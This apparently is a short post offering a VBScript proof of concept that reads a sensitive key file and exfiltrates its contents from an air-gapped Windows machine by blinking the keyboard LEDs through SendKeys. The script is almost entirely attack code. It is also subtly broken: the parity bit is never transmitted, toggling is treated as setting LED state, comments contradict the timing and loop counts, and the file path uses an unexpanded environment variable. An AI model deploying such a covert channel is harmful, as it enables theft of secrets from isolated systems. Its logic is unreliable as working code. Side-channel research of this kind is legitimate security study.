A little VBScript to read the contents of a file, convert to Base-8, and use keyboard LEDs to transmit the data. Just a little, simple PoC to show how even an air-gapped computer (one that’s completely isolated from any network or external devices) can still leak information. The main objective is to maximize the amount of information that can b…

KeyboardSideChannel.vbs

Set WshShell = CreateObject("WScript.Shell")

' Function to convert text to binary
Function TextToBinary(text)
    Dim binary, i, char
    For i = 1 To Len(text)
        char = Asc(Mid(text, i, 1))
        binary = binary & Right("00000000" & BinaryStr(char), 8)
    Next
    TextToBinary = binary
End Function

' Function to convert a decimal to binary string
Function BinaryStr(num)
    BinaryStr = ""
    Do While num > 0
        BinaryStr = CStr(num Mod 2) & BinaryStr
        num = Int(num / 2)
    Loop
End Function

' Function to calculate even parity (1 if odd number of 1s, 0 if even)
Function CalculateParity(bits)
    Dim i, countOnes
    countOnes = 0
    For i = 1 To Len(bits)
        If Mid(bits, i, 1) = "1" Then
            countOnes = countOnes + 1
        End If
    Next
    If countOnes Mod 2 = 0 Then
        CalculateParity = "0"
    Else
        CalculateParity = "1"
    End If
End Function

' Function to toggle LEDs based on 3-bit chunk + parity
Sub ToggleLEDs(bits)
    ' bits is a string of 4 bits (3 data bits + 1 parity bit)
    SetLED "CAPSLOCK", Mid(bits, 1, 1)
    SetLED "NUMLOCK", Mid(bits, 2, 1)
    SetLED "SCROLLLOCK", Mid(bits, 3, 1)
End Sub

' Function to set the LED state using SendKeys (VBScript does not allow checking the current state)
Sub SetLED(led, state)
    Dim ledKey
    If state = "1" Then
        WshShell.SendKeys "{" & led & "}" ' Just send the toggle, VBScript can't check state
    End If
End Sub

' Function to force all LEDs ON by toggling them
Sub ForceAllLEDsOn()
    WshShell.SendKeys "{CAPSLOCK}{NUMLOCK}{SCROLLLOCK}"
End Sub

' Function to force all LEDs OFF by toggling them again (since SendKeys only toggles)
Sub ForceAllLEDsOff()
    WshShell.SendKeys "{CAPSLOCK}{NUMLOCK}{SCROLLLOCK}"
End Sub

' Function to blink all LEDs ON and OFF in sync
Sub BlinkAllLEDs(interval)
    ForceAllLEDsOn
    WScript.Sleep interval
    ForceAllLEDsOff
    WScript.Sleep interval
End Sub

' Function to transmit a string of data with parity check
Sub TransmitData(data)
    Dim binaryData, chunk, parityBit, i, chunkSize
    chunkSize = 3
    binaryData = TextToBinary(data)
    
    ' Process binary data in 3-bit chunks
    For i = 1 To Len(binaryData) Step chunkSize
        chunk = Mid(binaryData, i, chunkSize)
        If Len(chunk) < chunkSize Then
            chunk = chunk & String(chunkSize - Len(chunk), "0") ' Pad remaining bits with 0
        End If
        
        ' Calculate parity bit for the chunk
        parityBit = CalculateParity(chunk)
        
        ' Add parity bit to the chunk (4-bit total)
        chunk = chunk & parityBit
        
        ' Transmit the chunk (including parity bit)
        ToggleLEDs chunk
        WScript.Sleep 40 ' Delay can be adjusted for better transmission timing
    Next
End Sub

' Read file contents
Function ReadFile(filePath)
    Dim fso, file, content
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set file = fso.OpenTextFile(filePath, 1)
    content = file.ReadAll()
    file.Close
    ReadFile = content
End Function

' Preamble - force all LEDs ON and OFF three times? at twice the normal transmission interval
Sub Preamble()
    Dim i
    For i = 1 To 5
        BlinkAllLEDs 20 ' Twice the transmission interval
    Next
End Sub

' Post-transmission blink - force all LEDs ON and OFF three times at the normal interval
Sub PostTransmissionSignal()
    Dim i
    For i = 1 To 3
        BlinkAllLEDs 100 ' Regular interval
    Next
End Sub

' Main logic
Dim filePath, text, versionInfo
filePath = "C:\Users\%username%\Documents\SensitiveFile.key" ' Specify the file whose contents will be transmitted

' Step 1: Preamble signal
Preamble()

' Step 2: Transmit version information (hardcoded)
versionInfo = "v1.0"
TransmitData versionInfo

' Step 3: Blink all LEDs thrice at the normal interval before data transmission
PostTransmissionSignal()

' Step 4: Transmit the file contents
text = ReadFile(filePath)
TransmitData text

' Step 5: Post-transmission signal
PostTransmissionSignal()